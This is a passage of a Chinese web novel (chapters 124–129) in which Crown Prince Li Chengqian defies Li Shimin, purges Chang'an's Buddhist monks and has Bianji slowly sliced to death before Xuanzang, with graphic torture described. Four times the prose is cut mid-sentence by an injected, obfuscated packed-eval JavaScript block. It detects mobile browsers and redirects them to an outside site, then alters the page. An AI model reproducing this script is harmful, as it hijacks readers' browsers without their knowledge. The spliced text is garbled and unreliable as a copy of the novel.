天下谁人不知,这长安佛门的畸形繁盛,背后最大的推手,就是当今陛下! 是陛下为了**,为了安抚民心,为了…… 洗刷自己身上那永远也洗不掉的血腥! 太子要三堂会审,他要审的,是这大唐的天! 是当今的皇帝陛下啊! 这是要将皇帝的脸皮,连同那块名为“贞观之治”的遮羞布,一同撕下来,扔在地上,让天下人来踩啊! 一瞬间,杜如晦也想通了这一层,他的脸色瞬间变得煞白,嘴唇哆嗦着,一个字也说不出来。 而龙椅之上的李世民,在听到“三堂会审”这四个字的瞬间,瞳孔骤然收缩如针。 彻骨的寒意,从他的尾椎骨猛地窜起,瞬间席卷全身。 他的四肢百骸,仿佛都被冻僵了,连指尖都在微微颤抖。 第125章 李世民深陷绝境 恐慌! 前所未有的恐慌,将他牢牢罩住,让他几乎无法呼吸。 他的眼前,一阵阵地发黑。 太极殿的辉煌景象在扭曲、在褪色,取而代之的,是十几年前那个血腥的黎明。 玄武门! 那湿滑的青石板,那浓得化不开的血腥味,那兄弟临死前不敢置信的眼神…… 一幕幕,再次清晰地浮现在他的脑海中。 他杀了他的哥哥,囚禁了他的父亲,才坐上了这张龙椅。 他以为自己已经将所有的威胁都清除干净,他以为自己用赫赫武功和贞观盛世,已经将那段不光彩的过去彻底掩埋。 可他万万没有想到,报应,会以这样一种方式,降临到他的头上。 他的儿子,他亲自册立的太子,正站在他的面前,用着比刀剑更锋利的方式,向他发起了挑战。 他不是要杀他,他不是要兵变。 他要审他! 他要用律法,用道义,用天下悠悠之口,将他钉在耻辱柱上! 这一刻,李世民感觉自己不是高高在上的皇帝,而是一个被逼到悬崖边的困兽。 他身下的龙椅,不再是权力的象征,而是一座冰冷的、布满荆棘的囚笼。 他死死地攥住龙椅的扶手,坚硬的紫檀木几乎要被他捏碎。 指节因为过度用力而根根发白,手背上青筋暴起,如同盘虬的怒龙。 “承乾……” 他终于开口,声音嘶哑得不成样子,仿佛是从生锈的铁器中摩擦而出。 “你……知不知道自己在说什么?” 李承乾微微躬身,姿态恭敬,言语却字字诛心。 “儿臣知道。” “儿臣知道,国法大于天。儿臣也知道,天子犯法,与庶民同罪。这八个字,是儿臣在尚书房读书时,父皇亲口教导的。” “父皇难道忘了吗?” “你!” 李世民猛地站起身,龙袍鼓荡,属于帝王的威压瞬间爆发开来,试图压垮那个不知天高地厚的逆子。 然而,李承乾只是静静地站在那里,不闪不避,坦然地承受着这如山般的怒火。 他的身形看起来有些单薄,但在那滔天的皇威之下,却如同一杆标枪,刺破苍穹,没有丝毫弯折。 他甚至还笑了笑。 “父皇息怒。” “儿臣只是就事论事。佛门之祸,已非一日。长安城内,多少百姓因此流离失所,多少良田因此荒芜。若不彻查到底,挖出病根,大唐危矣!” “三堂会审,并非针对某一人。而是要查清,究竟是谁,给了这些寺庙如此大的胆子?究竟是谁,在他们的背后撑腰?究竟是谁,在蚕食我大唐的根基?” 他一连三个“究竟是谁”,每一个问题,都一记响亮的耳光,狠狠扇在李世民的脸上。 朝堂之上,鸦雀无声。 所有的官员都低着头,恨不得把脑袋埋进地缝里。 这种神仙打架的场面,他们看一眼,都怕会引火烧身,死无葬身之地。 李世民的胸膛剧烈地起伏着,他看着下方那个熟悉又陌生的儿子,眼中充满了愤怒、失望、痛苦,以及连他自己都不愿承认的…… 恐惧。 他发现,自己竟然…… 无言以对。 他能说什么? 说自己是为了赎罪? 说自己是被佛门的虚假祥和蒙蔽了双眼? 不! 他不能说! 帝王,永远不能有错! 一旦承认,他的威严,他的神话,将瞬间崩塌! 可是,不承认,就要眼睁睁看着这个逆子,用“三堂会审”这把刀,将自己凌迟处死吗? 李世民的嘴唇翕动了几下,却一个字也吐不出来。 他感觉自己的喉咙被一只无形的手死死掐住,所有的辩解和怒火,都堵在了胸口,几乎要将他整个人都撑爆。 玄武门,父子二人,一个站着,一个坐着,就这么僵持着。 僵持。 死一样的僵持。 时间仿佛凝固,空气中只剩下父子二人沉重而压抑的呼吸声。 李世民感觉自己体内的血液正在一点点变冷,从指尖到心脏,都被彻骨的寒意侵袭。 他不是在看自己的儿子,而是在看一个从地狱爬出来的宿敌,一个披着他儿子皮囊的恶鬼。 最终,他败下阵来。 不是败给了李承乾的言辞,而是败给了那份让他窒息的沉默,败给了那份让他恐惧的坦然。 “好……好一个三堂会审!” 李世民一字一顿,牙齿咬得咯咯作响。 玄武门的城楼上,狂风呼啸。 风声凄厉。 李世民身披的龙袍被吹得猎猎作响,金色的丝线在阴沉的天色下泛着惨淡的光。 他扶着冰冷的垛口,俯瞰着城下的长安。 他以为他会看到他忠心耿耿的玄甲军,看到那些能为他赴汤蹈火的百战之士。 然而,他没有。 城楼之下,空旷的广场上,李承乾一袭太子常服,独自站立,身姿挺拔如松。 而在他的身后,站着一个让李世民瞳孔骤然收缩的人。 袁天罡。 大唐的国师,那个为他推演天机,勘破国运的袁天罡! 袁天罡依旧是一身宽大的道袍,手持拂尘,神情淡漠。 但他没有站在李世民的身后,而是站在了李承乾的身后。 更让李世民心胆俱裂的是,在袁天罡的身后,三百名身穿黑色劲装,头戴兜帽,脸上罩着狰狞面具的身影,静静地矗立着。 不良人! 那是他亲手建立,只听命于他一人的秘密力量! 是大唐最锋利的暗刃,是他伸向黑暗的触手! 可现在,这把刀,这只手,全都调转了方向,对准了他这个主人! “袁天罡!” 李世民的声音嘶哑,带着不敢置信的颤抖,“你……也要反朕?” 城楼下的袁天罡缓缓抬起头,他的目光穿透了数十丈的距离,平静地落在李世民的脸上。 那眼神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253050|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里没有畏惧,没有愧疚,只有一种近乎神明的悲悯。 “陛下,天命,不在陛下了。” 他没有说“臣”,而是用了“贫道”。 他没有说“太子”,而是用了“天命”。 简简单单的一句话,却比千军万马的冲击还要沉重,狠狠地砸在李世民的心上,将他最后的侥幸砸得粉碎。 天命? 什么是天命? 他李世民从尸山血海中杀出来的江山,就是天命! 可当他看到袁天罡身后那三百个不良人齐刷刷地向着李承乾单膝跪地,行君臣之礼时,他一直以来坚信不疑的“天命”,开始剧烈地动摇。 前所未有的孤寂感,将他淹没。 这还不是结束。 李世民下意识地抬眼望向整个长安城。 往日里繁华喧嚣的街市,此刻却是一片死寂。 家家户户门窗紧闭,坊市之间空无一人,只有风卷起尘土,在长街上打着旋。 这寂静,比呐喊厮杀更让人心悸。 他突然明白了。 这座城,已经不是他的城了。 那些紧闭的门窗背后,有多少双眼睛在窥伺着他这个孤家寡人? 那些坊市的角落里,有多少他儿子的耳目,在监视着他的一举一动? 他的不良人背叛了他,他的长安百姓,也抛弃了他。 他成了一个被囚禁在皇宫里的囚徒,一个站在城楼上供人观赏的笑话! 一种被剥光了衣服,赤裸裸地暴露在天地间的羞耻与愤怒,让李世民浑身发抖。 “逆子……逆子!” 他咆哮着,声音却被狂风吹散,显得那么无力。 他愤怒地抬起头,想用帝王的怒火将苍穹烧出一个窟窿。 然而,当他看清天空的景象时,他所有的愤怒,所有的咆哮,都卡在了喉咙里,化作了无边的恐惧。 天上。 三千名身穿各色道袍的剑仙,脚踏飞剑,虚空而立。 他们密密麻麻,将整个玄武门上方的天空都遮蔽了。 阳光无法穿透,只有森然的剑气笼罩下来。 每一柄剑的剑尖,都遥遥地指着他。 三千道杀意,汇聚成毁天灭地的洪流,死死地将他锁定。 李世民的脑中一片空白。 他想不明白,他只知道,在这三千剑仙面前,他引以为傲的玄甲军,不过是一群待宰的羔羊。 他感觉自己的双腿在发软,几乎要站立不住。 他一生征战,见过无数尸山血海,从未有过畏惧。 可今天,他怕了。 那是一种源于灵魂深处的战栗,是对超越凡俗力量的本能敬畏。 就在他心神失守的瞬间,一名禁军将领连滚带爬地冲上城楼,脸白如纸,声音带着哭腔。 “陛……陛下!不好了!” “京畿之外,八……八百里加急军报!” “河……河北、河南、山南、陇右……四道之地,百……百万大军,尽起狼烟,正……正向长安杀来!” 第126章 太子的刀,已经出鞘,不饮饱鲜血,绝不归鞘。 玄武门的血腥气,一道无形的阴影,笼罩了整座长安城。 太阳依旧升起,但阳光也带上了冷意,照不进百姓们心中那片骤然滋生的恐慌。太子在玄武门前斩杀数百僧兵的消息,如同插上了翅膀,一夜之间飞入了长安的每一个角落,每一户人家。 有人惊骇,有人恐惧,更有人在暗地里拍手称快。 而这,仅仅是一个开始。 当玄武门的尸体还未被完全清理干净,当那片土地上的血迹还未彻底凝固,另一场风暴,已在长安城内悄然掀起。 左骁卫大将军,李君羡,接到了来自东宫的密令。 密令的内容很简单,只有寥寥数字,却透着一股不容置疑的森然杀气。 “清扫全城,一个不留。” 李君羡站在金吾卫的衙署之内,面沉如水。他不是没见过血,也不是没杀过人,但太子的手段,依旧让他感到心底发寒。 这不是战争,这是清洗。 他没有丝毫犹豫,冰冷的甲胄随着他的动作发出轻微的摩擦声。 “传令下去!”他的声音没有波澜,“金吾卫全员出动,封锁各坊市,按照名单,抓人!” “诺!” 冰冷的铁甲洪流,瞬间从衙署涌出,化作数十支小队,如同一张撒开的大网,朝着长安城的一百零八坊覆盖而去。 西市,大唐最繁华的商业中心,人声鼎沸,车水马龙。 一座名为“慈恩寺”的寺庙,就坐落于西市最热闹的地段。平日里香火鼎盛,往来信众络绎不绝,寺内的主持了凡大师,更是以慈悲为怀闻名。 此刻,寺庙的偏殿内,了凡大师那张肥胖的脸上,却看不到半点慈悲。 他捻着一串油光发亮的佛珠,看着跪在地上苦苦哀求的一家三口,眼神里满是贪婪与不耐。 “了凡大师,求求您,再宽限几日吧!我家的二郎病重,实在……实在凑不出钱了啊!”一个衣衫褴褛的中年男人,磕头磕得额头青紫。 “宽限?”了凡大师冷笑一声,将佛珠拍在桌上,“当初借钱的时候,白纸黑字写得清清楚楚,利息一分都不能少!你们已经拖了三个月了,还想宽限?” 他指着男人身边那个面黄肌瘦、只有十二三岁的女孩,眼中闪过淫邪的光。 “我看你这女儿倒有几分姿色,既然还不起钱,就把她送到城南的张员外家做个丫鬟吧,还能抵一部分债。否则……哼,就别怪贫僧请官府来收你们的房子了!” “不!大师!求您了!我们不能卖女儿啊!”妇人抱着女儿,哭得撕心裂肺。 了凡和尚正要发作,偏殿那扇厚重的木门,却“轰”的一声,被人从外面一脚踹开! 木屑纷飞中,十数名身着黑色甲胄,腰挎横刀的金吾卫,如狼似虎般冲了进来。 为首的正是李君羡,他冰冷的目光扫过殿内,最后落在了凡和尚那张惊愕到扭曲的脸上。 “你……你们是什么人?胆敢闯我佛门清净地!”了凡和尚色厉内荏地吼道。 李君羡理都未理,只是对着身后的士兵微微偏头。 “搜!” 一个字,如同死神的判决。 金吾卫们立刻散开,一人直接将了凡和尚按在地上,另外几人则冲向他身后的禅房。很快,几只沉重的木箱被抬了出来,当着所有人的面打开。 箱子里,没有经书,没有佛器,只有一叠叠厚厚的田契、房契,还有数不清的借据!每一张借据上,都写着令人咋舌的高额利息。 那跪地的一家人,看到这一幕,都惊呆了。 “佛门清净地?”李君羡缓缓走到被死死按住、像一头肥猪般挣扎的了凡和尚面前,声音里不带温度,“放印子钱,强占民田,逼良为娼,这就是你的清净?” 他从一名士兵手中拿过一张借据,看了一眼,然后扔在了凡的脸上。 “带走!” “不!你们不能抓我!我是出家人!我是……” 了凡的叫嚣,被一块破布死死堵住,他被两个金吾卫粗暴地拖了出去,肥胖的身体在地上留下一道难看的痕迹。 相似的场景,在长安城的各个角落不断上演。 平康坊,以风月闻名。 在一处僻静的宅院里,空气中弥漫着酒气和女子身上劣质的脂粉味。 金吾卫撞开房门时,看到的是一幅不堪入目的景象。 以精通佛法、不近女色著称的普光寺高僧慧寂,此刻正左拥右抱,衣衫不整地与两名妖艳女子嬉笑调情。他那平日里宝相庄严的脸上,此刻写满了酒色浸淫后的迷离和放荡。 看到破门而入的金吾卫,慧寂的酒瞬间醒了一半。 他慌忙推开身边的女人,想要整理自己凌乱的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253051|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 僧袍,嘴里还结结巴巴地辩解:“误会……都是误会!贫僧是……是来为这两位女施主讲经说法的!” 一名金吾卫面无表情地走上前,拎起地上的一件女子肚兜,在慧寂眼前晃了晃。 “大师,这也是讲经用的道具?” 慧寂的脸,瞬间涨成了猪肝色。 抓捕,在继续。 整座长安城,变成了一个巨大的猎场。 平日里高高在上,受人敬仰的僧侣们,此刻成了人人喊打的过街老鼠。 他们从富丽堂皇的寺庙里被拖出来,从温暖的被窝里被揪出来,从藏污纳垢的暗室里被拎出来。 他们身上的僧袍被撕扯,头上的戒疤成了耻辱的印记。 无数百姓站在街道两旁,远远地观望着。他们的眼神复杂,有震惊,有恐惧,但更多的是一种压抑已久的快意。 “抓得好!城东宝刹寺的那个秃驴,去年就用这个法子骗走了我家的三亩地!” “还有西边那个,天天化缘,不给钱就堵在你家门口念往生咒,晦气**!” “哼,一群披着袈裟的畜生!” 李君羡骑在马上,缓缓穿行在长街上。他听着耳边传来的百姓议论,看着一队队金吾卫押解着面如死灰的僧侣从各条巷子里走出来,神情冷峻。 他现在才彻底明白,太子殿下为何要用如此雷霆的手段。 佛门,已经烂到了根子里。 再不整治,国将不国。 一个时辰后,近百名僧侣被押解到了金吾卫的大牢前。 他们被剥去了光鲜的僧袍,只穿着白色的囚衣,一个个垂头丧气,再无半分往日的威严。 一名副将上前禀报:“将军,东城、西城、南城已清查完毕,共抓捕僧侣一百一十七人,查获非法田契七百余份,**借据上千张,金银财宝不计其数。” 李君羡点了点头,目光扫过那些瑟瑟发抖的囚犯,冷冷地开口。 “审。” “将他们犯下的每一桩罪行,都给本将军审得明明白白!” “诺!” 大牢的门,轰然关闭,隔绝了外面的天光,也隔绝了这些僧侣最后的希望。 李君羡勒转马头,看向皇宫的方向。 他知道,这场清洗,还远未结束。太子的刀,已经出鞘,不饮饱鲜血,绝不归鞘。 第127章 辩机,是玄奘法师最得意的大弟子,不是吗? 与玄武门城楼上的剑拔**张、杀机四溢不同,后宫深处的立政殿,此刻却陷入了诡异的死寂。 香炉里最后一缕青烟早已散尽,留下冰冷的灰烬。 宫女和太监们像一群被钉在地上的木偶,垂着头,缩在角落,连呼吸都刻意压制到最轻,生怕一丁点声响都会招来灭顶之灾。 这片死寂,比任何喧嚣都更令人心头发慌。 长孙皇后端坐于凤座之上,凤袍的华贵刺绣在昏暗的光线下黯淡无光。 她手中握着一卷书,却久久没有翻动一页。 她的目光穿过殿门,能看到那遥远城楼上的一切,眼神里是化不开的忧虑与疲惫。 突然,一阵急促而凌乱的脚步声由远及近,像一块石头砸碎了这凝固的空气。 “娘!” 一个穿着粉色宫装的小小身影,跌跌撞撞地冲了进来,发髻散乱,小脸煞白,眼眶里噙满了泪水。 正是长乐公主李丽质。 她一头扑进长孙皇后的怀里,身体因为恐惧而剧烈地颤抖着,声音带着哭腔,断断续续。 “娘……哥哥……哥哥和爹……打起来了!” 殿内的宫人吓得浑身一哆嗦,头埋得更低了。 长孙皇后身体微微一僵,随即伸出手,用近乎麻木的轻柔,抚摸着女儿汗湿的后背。 她没有问“你怎么知道的”,也没有斥责女儿的失仪。 她只是闭上眼睛,长长地,无声地叹了一口气。 那口气息里,包含了太多的无奈与心碎。 “我知道了。” 她的声音很轻,很稳,听不出任何波澜,就像一口深不见底的古井。 长乐公主从她怀里抬起头,一双大眼睛里满是惊恐和不解,她紧紧抓着母亲的衣襟,抓着最后一根救命稻草。 “爹……爹说要废了大哥……是不是……是不是真的?” 童稚的声音,问出的却是最残忍的问题。 废太子。 这三个字,如同一把淬了冰的尖刀,狠狠刺入长孙皇后的心脏。 她可以承受丈夫的猜忌,可以容忍儿子的野心,却无法面对他们父子相残,血溅宫廷的结局。 她看着女儿那张纯真而恐惧的脸,心中一阵绞痛。 她该如何向这个孩子解释这一切? 解释那至高无上的权力背后,是何等冷酷的亲情漠视与生死搏杀? 她无法解释。 长孙皇后将女儿紧紧搂在怀里,用自己的身体为她隔绝这宫殿里的寒意。 她能感觉到女儿的泪水已经浸湿了她的胸襟,冰凉一片。 良久,她松开女儿,用指腹轻轻拭去她脸上的泪痕。 然后,她缓缓站起身。 这个动作,她做得极其缓慢,却又无比坚定。 随着身体的站立,某种属于皇后、属于母亲的决绝意志,也一并升腾起来。 殿内的宫人们大气不敢出,只能用眼角的余光,敬畏地看着这位母仪天下的女人。 “出去看看吧。” 长孙皇后开口,声音依旧平静,却带着不容置疑的力量。 她没有歇斯底里,没有哭泣哀求,只是选择了最直接的方式。 她要去看一看。 看一看她的丈夫,那个曾与她携手共度无数风雨的男人,如今是何等的孤立无援。 再看一看她的儿子,那个她一手带大,寄予厚望的长子,如今又是何等的决绝与陌生。 她牵起长乐的小手,那只小手冰凉而颤抖。 “丽质,别怕,有娘在。” 长孙皇后牵着女儿,一步步走出立政殿。 殿外的长廊空无一人,往日里往来穿梭的宫人早已不见踪影。 风呜咽着穿过廊柱,卷起地上的落叶,发出萧瑟的声响。 空气中弥漫着无形的压力,沉甸甸地压在心头,让人喘不过气。 越是往外走,那种压力就越是清晰。 那不是凡俗世界的威压,而是…… 来自九天之上的森然剑意,冰冷,锋利,无孔不入。 长孙皇后抬起头,望向玄武门的方向。 她看不见那三千剑仙,却能感觉到那股足以撕裂苍穹的可怕力量。 她也看不见城楼上的李世民,却能想象到他此刻的愤怒与绝望。 她的心,被一只无形的大手紧紧攥住,疼得几乎无法呼吸。 她是大唐的皇后,但在此刻,她首先是一位妻子,一位母亲。 她脚下的步伐没有丝毫停顿,凤袍在风中猎猎作响,她的背影,在空旷的宫道上,显得如此单薄,却又如此决绝。 玄武门,已然化作修罗场。 粘稠的血液汇成溪流,沿着青石板的缝隙缓缓蔓延,将落叶与尘土浸染成不祥的暗红色。 空气中,血腥味、汗臭味、还有若有似无的檀香味,诡异地混合在一起,刺激着每一个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253052|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的鼻腔。 李承乾就站在这片血色之中。 他没有坐,也没有佩戴任何象征储君身份的饰物,仅仅一身玄色劲装,衣角却早已被溅上的血点染成点点梅花。 他的脸上没有疯狂,没有狰狞,只有近乎麻木的平静,眼前的一切都与他无关。 可他脚下,一个又一个试图冲击禁军防线的僧人倒下,兵刃入肉的闷响和濒死的哀嚎,都成了这片炼狱最刺耳的背景音。 李君羡率领的大唐禁军,如同一道钢铁铸就的堤坝,将数百名从长安各处寺庙中被“请”来的僧侣死死围困在城门之外。 这些往日里受尽万民供奉的僧人,此刻面无人色,瑟瑟发抖,口中念诵的经文也变得语无伦次,充满了恐惧的颤音。 城楼之上,李世民的一张脸,铁青得如同暴雨来临前的天空。 他的双手死死扣在冰冷的城垛上,指节因为用力而泛出骇人的白色。 他看着下方那个熟悉又陌生的身影,那个他亲手扶上太子之位的儿子,如今却像一头失控的野兽,用最残忍的方式,撕扯着他身为帝王、身为父亲的尊严。 突然,他的瞳孔猛地一缩。 在那些被围困的、惊惶失措的僧侣人群中,他看到了一个身影。 那人身披一袭陈旧的袈裟,身形清瘦,面容俊朗,即便身处如此混乱血腥的境地,依旧挺直着脊梁,双目微阖,宛若入定。 是玄奘! 是金蝉子! 那个曾与他彻夜论法,被他奉为御弟,代表大唐西行求取真经的圣僧! 怒火从李世民的胸腔直冲头顶,让他浑身都控制不住地颤抖起来。 “逆子!” 一声雷霆怒吼从城楼上炸响,回荡在玄武门内外。 “你疯了吗!你竟然连玄奘大师都敢抓!” 李世民的声音里,充满了不敢置信的痛心与愤怒。 他可以容忍李承乾诛杀政敌,可以容忍他培植党羽,但他无法容忍他将屠刀挥向这片土地上最神圣的信仰! 听到这声怒吼,城下的李承乾终于有了动作。 他缓缓转过身,抬起头,隔着数十丈的距离,与城楼上的父亲对视。 他的目光平静无波,像一潭深不见底的寒水。 “父皇,您急什么?” 他的声音不大,却异常清晰地传到了李世民的耳中。 “辩机,是玄奘法师最得意的大弟子,不是吗?” 第128章 孤以杀证道! 李承乾的嘴角勾起一抹极淡的弧度,那不是笑,而是更令人心寒的东西。 “弟子犯下**宫闱、秽乱人伦的滔天大罪,孤,自然要请他这个做师傅的来亲眼看一看,问一问。” 他伸手指了指不远处正在进行的一场酷刑。 “问问玄奘大师,他平日里教给弟子的,究竟是普度众生的佛法,还是男盗女娼的道理!” 随着李承乾手指的方向,李世民的目光被迫移了过去。 那里,辩机和尚被绑在一个木架上,几名面无表情的刽子手,正用小刀一片片地割下他身上的皮肉。 辩机的惨叫早已嘶哑,变成了野兽嗬嗬低鸣,身体在极度的痛苦中抽搐痉挛。 而在木架不远处,高阳公主被腰斩的尸身还未收敛。 她那曾经娇美无双的上半身仆倒在血泊里,一双美目圆睁,凝固着死前的惊恐与不甘。 她的丈夫,驸马都尉房遗爱,像一条被抽去脊梁的狗,疯了一样地扑在高阳的尸身上,发出撕心裂肺的哭嚎。 “高阳……我的高阳啊……” 他用手徒劳地想将妻子的两截身体合拢,却只换来满手的温热与粘腻。 这人间惨剧的中央,玄奘法师被两名禁军押送上前。 他路过痛哭的房遗爱,路过被腰斩的高阳,路过正在被凌迟的弟子辩机,他的脚步没有一毫的停顿。 他就站在那里,一尊没有生命的泥塑。 辩机用尽最后力气,抬起血肉模糊的头,望向自己的师父,浑浊的眼中流露出最后的哀求与希冀。 “师……父……” 然而,玄奘视若无睹。 他甚至没有睁开眼睛。 那张悲天悯人的脸上,此刻没有任何表情,眼前的一切,无论是公主的惨死,还是弟子的酷刑,都不过是过眼云烟,不值得他动一动眉毛。 玄武门下,血腥气与檀香的气味诡异地混合在一起,钻入每一个人的鼻孔。 那是堕落与神圣交织的恶臭。 李承乾看着眼前这尊活佛,这尊被他父皇乃至整个大唐奉若神明的高僧,眼中没有半分敬畏,只有冰冷的审视。 他踱步上前,黑色的金线**纹朝服下摆在沾满血污的石板上拖曳而过,发出沙沙的声响。 每一步,都像踩在人心最脆弱的鼓点上。 他停在玄奘面前,距离近得可以看清对方袈裟上陈旧的纹理。 “玄奘大师。” 李承乾开口了,声音平稳,却带着居高临下的压迫感。 “你的弟子,**宫闱,秽乱人伦,与孤的皇妹行下此等猪狗不如之事。孤判他凌迟处死,让他尝遍这人间至苦。” 他的目光转向那具仍在抽搐、早已不成人形的血肉,嘴角牵动了一下,那是近乎残忍的平静。 “你,不为他求情吗?” 此言一出,连城楼上的李世民都屏住了呼吸,死死地盯着玄奘。 他想看到这位圣僧的愤怒,想看到他的悲悯,想看到任何属于“人”的反应。 然而,玄奘只是缓缓地,睁开了那双能洞悉一切的眼睛。 那是一双怎样的眼睛? 没有波澜,没有情绪,宛如两口深不见底的古井,倒映着这血腥的修罗场,却不起涟漪。 他终于开口,声音清越,如同山间寺庙里敲响的晨钟,与周遭的惨嚎、哭泣格格不入。 “肉身皆皮相,受刀兵之苦,未必不是解脱。若此劫能消他罪业,助他早登极乐,贫僧为何要拦?” 这话语,轻飘飘的,却比千斤巨石更沉重地砸在众人心头。 太冷了。 冷得不像一个活人。 李承乾凝视着他,早就料到会是如此回答。 他没有失望,反而找到了期待已久的对手,整个人的气势陡然拔高,英姿勃发,眼神锐利如鹰。 “好一个‘肉身皆皮相’!好一个‘助他登极乐’!” 他朗声大笑,笑声在玄武门前空旷的广场上回荡,充满了毫不掩饰的讥讽。 “大师果然是得道高僧,视人命如草芥,视骨肉亲情为虚妄!” 玄奘眼帘微垂,双手合十,淡淡道:“世间万物,皆有因果。辩机种下恶因,今日便得恶果。殿下行刑,亦是因果中的一环。” 他顿了顿,抬眼看向李承乾,那平静的目光里,终于有了别样的东西,不是劝诫,更告诫。 “不过,贫僧还是要劝殿下少做杀戮。屠刀一起,冤孽丛生,有损殿下的功德。” “功德?” 李承乾听到了天底下最好笑的笑话。 “孤要那虚无缥缈的功德何用!” 他猛地转身,张开双臂,要拥抱这整个血腥的世界。 他的声音陡然激昂,口若悬河,每一个字都一把出鞘的利剑,直指人心! “大师,你睁开你的佛眼看一看!” 他指向远处巍峨的长安城郭。 “你告诉我,你西行十数载,求回来的真经,度化了几人?是度化了朝堂上那些口蜜腹剑、尸位素餐的所谓栋梁,还是度化了世家里那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253053|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些脑满肠肥、视人命如蝼蚁的所谓君子?” “你的佛法,能让百姓填饱肚子吗?你的经文,能让边关的将士刀枪不入吗?你的慈悲,能让那些被贪官污吏逼得家破人亡的冤魂复生吗?” 一连串的质问,如**,劈头盖脸地砸向玄奘。 玄奘面色不改,只是轻声念了一句佛号:“阿弥陀佛。佛法渡人,渡的是心,非身。若人人心中有佛,世间何来疾苦?” “渡心?哈哈哈!” 李承乾笑得更加张狂,他走到那被腰斩的高阳公主尸身前,用脚尖轻轻踢了一下那颗死不瞑目的头颅,动作轻蔑至极。 “她!大唐的公主,金枝玉叶,读过你的佛经,听过你的**,她的心渡了吗?她与你的高徒在龙床凤榻苟合之时,心中可曾有过半点佛祖?” 他又指向那痛不欲生的房遗爱。 “他!大唐的驸马,宰相之子,深受国恩,他的心渡了吗?戴着这顶绿油油的帽子,他想的不是国法家规,而是如何为这对奸夫**遮掩丑事!” 最后,他的手,毫不迟疑地指向了木架上的辩机。 “还有他!你的大弟子!被誉为佛法奇才,未来的得道高僧!他夜夜诵经,日日焚香,可他胯下那根东西,却比任何人都更渴望红尘俗世的滋味!大师,你告诉我,你的佛法,究竟渡了个什么东西!” 玄奘沉默了。 他那古井无波的脸上,终于出现了松动。 不是因为李承乾的诡辩,而是因为那份无可辩驳的真实。 “殿下,你眼中只有杀戮,心中便只看得到罪恶。你只见树木,不见森林。” 玄奘缓缓说道,“杀戮只能带来恐惧,不能带来敬畏。**只能压迫肉体,不能改变人心。” “说得好!” 李承乾拍了拍手,眼中精光爆射,“孤就是要用恐惧来统治!就是要用屠刀来教化!” 他向前踏出一步,整个人的气场犹如实质般扩散开来,压得周遭的禁军都有些喘不过气。 “既然讲道理没用,那孤就让他们懂一懂刀子!” “既然佛法渡不了这帮畜生,那孤就亲手送他们去见佛祖!” “你说杀戮有损功德,孤告诉你,孤今日之杀,才是最大的功德!杀一人而救万人,以杀止杀,以暴易暴!这,就是孤的道!” “孤要杀尽天下一切伪善!杀尽天下一切不公!杀出一个朗朗乾坤!杀出一个万世太平!” “孤以杀证道!” “玄奘,你敢说孤错了吗?!” 第129章 父皇,这才只是一个开始。 这就是你们信的佛! 玄武门的风,永远都带着洗不掉的血腥气。 尸体尚未拖走,鲜血又浸透了土地。 他就站在玄武门前,那片刚刚被数百僧兵的鲜血染红的空地上,背手而立,身姿挺拔如枪。 他的身后,是黑压压一片的大唐禁军,刀枪如林,甲胄森然,沉默得如同一片钢铁的坟墓。 而在他的面前,近百名被金吾卫从长安各个角落里揪出来的僧侣,被粗暴地押了上来。 他们身上的袈裟早已被剥去,只穿着白色的囚衣,一个个垂头丧气,抖如筛糠。 往日里宝相庄严,受万民供养的高僧们,此刻不过是一群等待裁决的阶下囚。 李君羡策马来到李承乾身侧,翻身下马,单膝跪地,声音洪亮。 “启禀殿下!全城一百零八坊,已按名单清查完毕!共抓捕涉案僧侣一百一十七人,查获非法田契七百八十三份,**借据一千二百一十张!另有金银财宝、古玩字画,堆积如山,数不胜数!” 李承乾听着,脸上没有任何表情。 他只是微微偏过头,看着那些跪在地上,体如筛糠的僧人,眼神里没有半分怜悯。 “很好。” 他吐出两个字,声音不大,却让在场的所有人都感到寒意。 他缓缓踱步,走到那群僧人面前,目光从一张张或惊恐、或悔恨、或怨毒的脸上一一扫过。 “你们,可知罪?” 